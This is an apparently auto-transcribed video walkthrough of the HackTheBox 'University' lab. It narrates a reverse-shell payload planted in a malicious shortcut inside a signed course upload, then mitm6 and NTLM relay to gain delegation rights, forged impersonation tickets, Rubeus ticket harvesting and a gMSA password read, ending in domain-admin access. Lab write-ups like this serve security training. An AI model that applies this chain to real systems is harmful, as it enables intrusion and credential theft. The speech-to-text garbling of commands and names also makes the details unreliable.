And now we have a signed certificate from NIA. So now if I log out uh let's go log out we can log in with sign certificate browse and we can do nia.pm login and now we are logged in as the professor. So if we click on create new course um it's where that's going to request a science certificate. If we clicked around uh let's go to like a course we can add a new lecture and this is going to be where we can add the um what is it I'm thinking of the malicious um shortcut. So first we'll have to create a detach signature file and then we can also change a public key to match that because we have to sign everything we upload. Um but first let's just go ahead and um create the malicious shortcut. So if I looked at lecture two um reference one URL this is what it is. So what I'm going to do is um v

HackTheBox - University


let's just make um clickme URL. paste this and then what I'm going to do is replace the URL and we're just going to say file and then we'll do C col backslash program data rev.exe exe. And this is just going to be a reverse shell. And we'll generate a reverse shell through um MSF Venom. So we can say uh what is it? MSF Venom P Windows X64.

HackTheBox - University


I think it's shell reverse rev. Yep. Reverse TCP LHost. And these boxes um can't come back to us. um if we went on workstation 3 and ping 10 10148 um it doesn't have a route back. So what we're going to do is send the reverse shell to the Linux box. So let's go ahead and find where I was. There we go.

HackTheBox - University


Um 1921 1689.12. That's going to be lab 2. Um, and then we'll do uh port is equal to 9,0001 format.exe o rev.exe. So this should make us that um executable. And then on workstation 3, let's go to program data. And this is where we're just making that leap of faith. Um, hoping the interactive user logged into this box, clicks that link, right? Um, where were we when we uploaded it? Let's just do pwd.

HackTheBox - University


Copy this. Upload rev.exe.

HackTheBox - University


And this should copy.

HackTheBox - University


Okay. So we have the click me URL. So what we can do is um we need the zip right. So we can zip clickme.zip clickme URL. So we have stored that in the zip. And now what we have to do is um sign it. So, I'm going to do GPG generate key uh nia uh nia.lurac nia laura skypeyp.com. Okay.

HackTheBox - University


Uh password. Yeah, I forgot the D here.

HackTheBox - University


Um yep, that's a weak one. That is fine. So now we have made our key. So what we need to do is sign it now. So I'm going to do gpg nia detach sign and we'll do lecture ipsc.zip. Actually what we name it uh clickme.zip uh password. There we go. And now we have clickme.zip and clickme.zip.s signature. So, um the next thing we need to do is just export our key. So, we can do gpg export nia and we'll do nia public.asc. We forgot t. There we go. So, let's go ahead and change a public key.

HackTheBox - University


Uh let's see this submit public key has been updated. So updated lecture browse upload the zip upload the signature. See the file is there. So now let us um make sure everyone can access this. So we'll do icackles.exe. Uh, what is it?

HackTheBox - University


Rev.exe grant everyone full access.

HackTheBox - University


And looks like I have a typo. Let's just fix that. It was grant and warm died. Let's go ahead and reconnect.

HackTheBox - University


And my whole proxy died. So, I'm going to revert the box and then we have to get a proxy connection back in. Okay, so the box has been reverted.

HackTheBox - University


Um, hopefully this doesn't screw up like the flow of the video or anything. Um, but I'm going to start up the HTTP server and then we're going to um use EVO winm to connect to the DC and we have to get Chisel onto this box. And I'm going to really hope uh we don't run into those issues we had ran into with like chisel just not wanting to cooperate on this box. Um curl http 10 10148 8000 chisel.exe and I'll call it chisel.exe.

HackTheBox - University


Um actually we'll just do C.EXE so we can see has not Okay, there we go. is reach back to us and hopefully this command completes and we have a copy of Chisel here. What we did before was we access it over SMB which just takes forever for it to um connect and then like eventually Chisel will crash and then you lose your V shell which is what happened to us. Um, I swear when I was doing this box before, I never had issues with getting chisel on it. I'm not sure why I'm suddenly having issues. Um, it looks like it doesn't want to cooperate yet again. Uh, let's go copy this.

HackTheBox - University


Maybe there's an exclusion in like the web directory and doing it in program um is screwing things up.

HackTheBox - University


Let's do a diir in web and then university.

HackTheBox - University


Let's try that same command here because this is where the reverse shell was dropped when we were doing it through the profile. So we can try saving it here.

HackTheBox - University


It is still making that connection to download it. That is fine.

HackTheBox - University


And it should not take this long. Okay, it looks like both of these curls have finally finished. I had to pause the video. It took way longer than I expected. It was like 5 minutes, I think. But if I do a diir, we see um chisel is in both of these. So hopefully this just magically works now, right? So I'm going to start this server back up. Um not sure why our HTTP server errored there, but we can now do C.exe um client and then what was it? um 10 10 148 8,0001 are socks I think what I had done and then if we go uh cannot connect and then connected.

HackTheBox - University


Okay, proxy is listening. Awesome. So now if I go back to my workstation um thing, we should be able to proxy chains back in. Awesome. If we go over to the lab, this is where we're running TCP dump and we see um the server did reach out with a WPAD request. So um it would work if we're patient, right? But let's just get that SSH connection back up. Um cap my creds.

HackTheBox - University


And then we're now going to have to go back to the web server and relog in to upload the lecture. Um, let's do nclvnp 90001. So, we're listening there. Now, on workstation 3, what we want to do is go in program data. And now we're going to upload the rev.exe. And I think that's just in university, right? Yes. So, we can upload homepack http university rev.exe.

HackTheBox - University


Let's see. It should be uploading.

HackTheBox - University


If I refresh this, we're not logged in. Using our signed certificate. Let's browse. Um, what is it? NIA.pm. Where is it? nia.pm to log in. Then what we want to do request browse um where is the GPG key? There it is. So we update our assigning key. That is odd.

HackTheBox - University


Change public key.

HackTheBox - University


I must have clicked the wrong file. Um, that was bizarre.

HackTheBox - University


Let's go to our course. Add a new lecture.

HackTheBox - University


Updated lecture. Browse.

HackTheBox - University


Uh, we want to do clickme.zip zip and the signature.

HackTheBox - University


Okay, so now the final thing we want to do is the um icackles command, right? So we can do icackles rev.exe grant and I typoed that again.

HackTheBox - University


Uh we do grant everyone full access.

HackTheBox - University


Let's make sure this works. successfully processed. So, everyone has full access to this. I'm going to upload this.

HackTheBox - University


And if everything goes to plan, um a user that is on this box, we don't know who it is, right? If I do get process, we do see there is a interactive explorer. So, someone would download that lecture and then um click that URL file. And that URL file is going to be a shortcut to this rev.exe, which is going to send a reverse shell over to our lab machine. At least that is the hoop. So, what I'm going to do is I'm just going to sleep for 2 minutes. I don't think it's going to take 2 minutes. Hopefully, it only takes another like 30 60 seconds. But, um hopefully we get a hit and um yeah. So, I'm going to pause the video and we'll resume it when this leap is done. Okay. So, we still don't have a shell. Um, I'm not exactly sure why, but my first guess is, um, maybe we created this executable wrong. So, I'm going to execute it and make sure we get a shell.

HackTheBox - University


Um, we don't. Let's go here. I think this is where I created the executable. Um, let's do I must have venom. Yep, there it is. Oh. It is Lport. I think that's probably going to be the issue. That is annoying. Let's go here.

HackTheBox - University


Um, do I have the upload command? It's not in the history. Upload home IPSC htb. Uh, we can delete rev.exe real quick.

HackTheBox - University


Upload home ipsack htb university rev.exe.

HackTheBox - University


This should upload relatively quickly. There we go. And then we want to do that I cackles command again. There we go.

HackTheBox - University


Rev.exe. Okay. Now we know our shell works. So, that's step one in troubleshooting. Um, let's go ahead and upload this again.

HackTheBox - University


Uh, let's see. That was clickme.zip and the signature already exist. Um, cp clickme zip. We'll do lecture clickme.zip. And you can change the file name. It doesn't change the signature. So that should be fine. Upload.

HackTheBox - University


Okay, it's uploaded successfully. Let's wait 2 minutes again to see if everything works. If we don't get a shell, then what my next plan of action would be is take this sample lecture and try to mimic our structure to be a little bit more like that. Um, we could also just copy the shortcut and try to execute the shortcut to make sure we don't have any issues there. Um, as a refresher, our shortcut was click URL.

HackTheBox - University


Right. So, this was that. So, we could put this to a file and then see if we can just um execute the file and see if we get a shell back. That looks fine to me. We have file colon double slash and C colon program data doesn't have any typos. Rev.exe. Yeah, that all looks fine. Um maybe this extra line break is causing an issue. I don't know. So that's where uh oh, we have a shell back. Awesome. If we do who am I, we are now Martin T. So if I can do task list, um that command now works. Remember before it did not work. So all this enables us to do is um make the machine make a request pretty quickly. Uh so let's go back into SSH.

HackTheBox - University


So, let me cat creds grab this password.

HackTheBox - University


Uh, proxy chains SSH um W AO at 1921689912.

HackTheBox - University


Put this password in pseudo su.

HackTheBox - University


Okay. And we're going to need another connection here. I'm just going to start that up real quick. Um to 168.992 uh 12.

HackTheBox - University


Okay. So this piece up here, this is all optional. Um this is just so we can do the DNS request really quickly, right? Um what I showed earlier is when we did that TCP dump um we do see the server reaching out over IPv6 link local address that's the FE81s and it's asking for WPAD and because it's unconstrained delegation if we respond to this request and say hey we're this box um then we can then do an NLM relay attack forward it over to LDAP and then give herbot the allowed to act upon uh attribute I think and what that's going to enable us to do is um create our own ticket to log into the box. Now if we just used nlm relay x um to do everything for us we're going to have an issue and that is because um secure LDAP is not configured. If we go end mapap university end mapap that's going to be like this 636 where we just get TCP wrapped. Um

HackTheBox - University


so we won't be able to talk to LDAP secure which means we can't use NLM relay to create the machine account for us. So before we do that we'll just have to specify the machine account. And a good blog post is from Guidepoint security. So, if I Google like guy point security, um I think it's like delegate like a boss. Let's see if this is the post. Um, yep. This is it. This is essentially what we're going to be able to do. And again, this is because we have the trusted for delegation flag. So, would highly recommend reading this entire post, right? Um, but I think it's on example three is where we start going into it. Um, let's see. MITM6 scenario three.

HackTheBox - University


This is it, right? So, we're pretty much going to be following their post. Um, but right here where they're doing NLM relay X, they're going into LDAP S. That isn't configured for this box, so we won't be able to do that. And that's why we're going to have to do this next step of adding the computer, right? And it talks about that somewhere. Um, let's see. WPAD.

HackTheBox - University


Yeah. So I think one of these relay computer not those.

HackTheBox - University


Yeah. Right here. So if LDAPS s is not properly configured the attack will fail, right? Um we can get around that by just creating the machine account u beforehand. And the whole reason we need a machine account is um we just need to know the password of the machine account so we can create our own tickets. So let's go ahead and create our computer.

HackTheBox - University


So uh let's do um add computer.py.

HackTheBox - University


This is going to be a part of impact. We'll do computer name is IPSC. computer pass is going to be please subscribe the escalate oh that's going to be part of NLM relay um computer pass the DC host is DC University HDB and then we need to do credentials so we'll do university waO and then we got to get the password this copy paste. Okay, let's see does this work it is thinking successfully added. So we have a machine account now of IPSAC and we know the password that is set to please subscribe. So the next thing we have to do is um get me in the middle 6. So I'm going to do mitm 6 GitHub. I forget what package this is from. is probably linked on Guy Point securities post, but we also have it here. And then we're just going to hope that um this just works without having to get any extra files.

HackTheBox - University


So, we can copy this. Let's do v MITM6.py.

HackTheBox - University


And then we can paste this all. Okay. And I think nm relay is already on this box. It is. So what we want to do is python 3 man the middle 6.py.

HackTheBox - University


Um specify the domain university.htb and then the interface which is eth0.

HackTheBox - University


There we go. It is starting to work. So now let's do nm relay.

HackTheBox - University


And hold on. I'm just going to get this there. Okay. So, NLM relay, uh, we need to do -6 because we want to do IPv6. Then the target is going to be LDAP 192.16899.1. Then we want delegate access. Then um, escalate user. This going to be the machine account we created, which is IPSC. And then WH, this is going to be the WPAD. And it doesn't matter what we put here. Um, and then we want to do ts for timestamp. And then I don't think we want to create a domain admin. I think this is all we do. Let's see. Unrecognized argument ipsack dollar. Um, I think it's d- escalate user. There we go.

HackTheBox - University


Okay. So, we're waiting on connections. Um, no route. That should be fine. So what we want to do here is make sure Windows update service is started. So we can do get um service wave um get service wuerve.

HackTheBox - University


Uh I'm not in power shell. Um sc.exe exe query paste. Uh whatever shell died. That sucks. Um let's get it again. And we'll have to rename this. I probably should just put this in burpswuite. Um so we don't have to keep renaming this file. Let's do test. Uh, this browse. Where's the signature?

HackTheBox - University


I'm going to put this in the repeater tab. In case it kicks us out again, we'll just be able to edit it. Submit.

HackTheBox - University


Send this to repeater. Send. So, the next time it fails, we can just go change this one to a two. And then that will just um gives a shell back.

HackTheBox - University


So hopefully we get it back relatively soon. Um it may have already worked without us doing anything because we see it forwarding wpad.dat. We get this request and hopefully within the like next minute or two um we'll see it adding other things. It'll be like edit um giving permission to the ipsack machine. Um let's run this sc command again real quick. Okay, it is running. You could do a start if it's in the stop state instead of query. But it is running. So now all we want to do is start process uh file path ms settings windows update.

HackTheBox - University


Uh, we want to go in PowerShell. Uh, wait, I typed that.

HackTheBox - University


I don't think that's PowerShell. Let's do this.

HackTheBox - University


Start process. Let's do PowerShell maybe.

HackTheBox - University


Yeah. So, I think it's PowerShell start process. And that will force the um machine to start doing lookups, right? But you don't have to do that if you're patient. Um we did see requesting path.

HackTheBox - University


Here we go. Connection target. We forwarded. We authenticate as WS3. Then we enumerate our privileges. And then we do delegation rights. And now it says IPS can impersonate WS3.

HackTheBox - University


So what that enables us to do now is create our own tickets. So um let's just do it from here. We can do a get st for service ticket SPN http ws3 university.htb then univers.htb and then our machine account which is IPSC and then the password which is please subscribe. Then we want to impersonate administrator and the DC IP is 10 10 1139 and I have SPM it's SPN uh clock skew is too great let's do pseudo NTP date um DC University HDB fixer time sync getting a TGT for this user. So again, this ticket is going to be for um IPSC and then like the machine account IPSC that we created and then the ticket's also going to have the impersonation flag of administrator. And because um we added the delegation rights of IPS, um the machine account's going to trust our machine, right? That's essentially what we did. So now we should be able to

HackTheBox - University


um log in. And I think I already did the net exec, right? Uh let's see. lsg grap kb. Uh was that in dubdubdub? Let's just do it again real quick. I think I already did this, but just to be safe. NXC SMB DC University HTB generate kobb5 file kobb5.com pseudo move kobb5 etsy kb5. There we go.

HackTheBox - University


Um, and now we'll have to um add an entry for WS3 because we're going to be using a Kerros ticket. Kerros really likes having um DNS. So, we can do WS3 University HDB uh WS3 as well. That should be fine.

HackTheBox - University


And then we want to do Kobe B5 CC name is equal to administrator or CC cache that we created. Um proxy chains evil winrm the realm is going to be university.htb htb the IP address ws3 universityhb and now we're administrator on this box right um we can't get back to the domain controller so if we did diir um what was it 192 16891 uh we get a permission denied if we tried like DC University HDB permission denied because University of Oddly that doesn't exist but um we can't get back to the domain with this ticket because the domain controller doesn't trust it. Um IPSSE is not allowed to impersonate users to the DC. It's only allowed to impersonate users to um this box. Right? So what we want to do now is upload Rubious here. So let's do cp uh sharp collection net framework 45 x60. No, we want any

HackTheBox - University


then rubious. Then let's go back to program data.

HackTheBox - University


Upload home IPSAC University Rubs.exe exe um home ipsac htb every now and then um even when m crashes with weird things uh cd program data uploading it Okay. So what we want to do with Rubius is just monitor. So if we do Rubious.exe monitor uh we want to specify no wrap and this can just just monitor all TGTs that go into um this computer. And this is where um if the domain was vulnerable to like printer bug or petite pumm we do that to force the machine account to authenticate the machine account of the domain controller to authenticate against this machine. um it's not vulnerable to that but we do have a few tickets in memory right any of these tickets we'll be able to use like Martin T we have uh WS3 that's the machine account rose L WS3 so we now gained access to Martin and Rose so let's go back to um Blood Hound and

HackTheBox - University


let's search for Martin T and we'll mark Martin as owned. Uh, let's turn burpuite off.

HackTheBox - University


I guess we have to log back in.

HackTheBox - University


Do Martin T mark as owned. And then we want rows.

HackTheBox - University


And then Mark Rose. Come on, Blood Hound.

HackTheBox - University


This is going slow. I'm not sure if you can hear me clicking. I am. I think my Firefox froze. Uh you can see like my CPU is not moving here. This when I'm recording this video, everything is going wrong that could be going wrong. Um I'm going to pause the video and we'll resume when my computer starts responding again. Okay, it looks like my computer started responding again. So, if I click rows, that looks fine. Let's add rows to owned. And then let's do cipher queries. And I'm going to show path from owned principles to tier zero.

HackTheBox - University


Uh, not high value. Let's just do tier zero.

HackTheBox - University


Uh, mismatch. Uh oh.

HackTheBox - University


Did something not work with my blood hound?

HackTheBox - University


See shortest path. There we go. We click that run. Okay, let's try first path to domain admin owned objects tier zero. Just this that does not seem to be working.

HackTheBox - University


Why is that query like all commented out? I wonder if that one is just broken.

HackTheBox - University


Um, let's go back to Oh my god, it hijacked my control F.

HackTheBox - University


I do not like how big this font is. Let's just run this query. It's messy, but I'm sure the data will be here. So, where are we?

HackTheBox - University


Who are you? So, this is GMSA. So that's a high value target account operator.

HackTheBox - University


See help desk. So rose. So rose is a member of help desk operators which does this say what edge this is? is a member of account operators which can read the group manage password to this group manage service account which is allowed to act on the DC. So if we get this hash we can then impersonate other users to connect to the DC essentially and because Rose is a member of account operators that can read this we just need to use her ticket to access the group managed service account password.

HackTheBox - University


So, I'm going back to my Rubious output. And then let's go ahead and grab Rose's TGT. And Rubious outputs in Kirby format. So, we'll have to convert this to CC cache so we can use it. Um, so I'm going to do Rose I think by just echo, right? There we go. B 64 D to rose.

HackTheBox - University


Kirby, I think it was rose l.cirby because her name is rose.l. So let's now do ticket converter and then we'll do rose l.cc cache and looks like it's completed. So now that we have um converted it let's see can we just do carab 5cc name is equal to rose lcc cache nxc um ldapc university htb uh is it dash k for kerros GMSA. Let's see.

HackTheBox - University


We didn't do something correctly. Let's do a - H cobra roasting. Uh, we probably need to use KC cash cache. That's it. like this.

HackTheBox - University


And there we go. We have the NLM hash of the uh GMSAP client. So we'll use the git st again for a git service ticket. And we can do SPN http DC university http specify hashes. And we're going to use the ntlm hash. So like that. And then um the account name. So, university http/gmssap client01 like that. And we want to impersonate the administrator.

HackTheBox - University


There we go. So now we have this ticket. So I'm going to copy this. We can say k5cc name is equal to that. And then all we have to do is evil winrm uh DC University HTB and the realm university htb and we have used the group manage service account to impersonate the administrator because they are allowed to act which gives us that permission and now we're admin on the domain so we can do cd.estop diir and getroot.ext. So, that's going to be the box. Hopefully, this made sense. Um, a lot of things went wrong as I was solving it. It's a very tough box to do, but hope you guys enjoyed it.

HackTheBox - University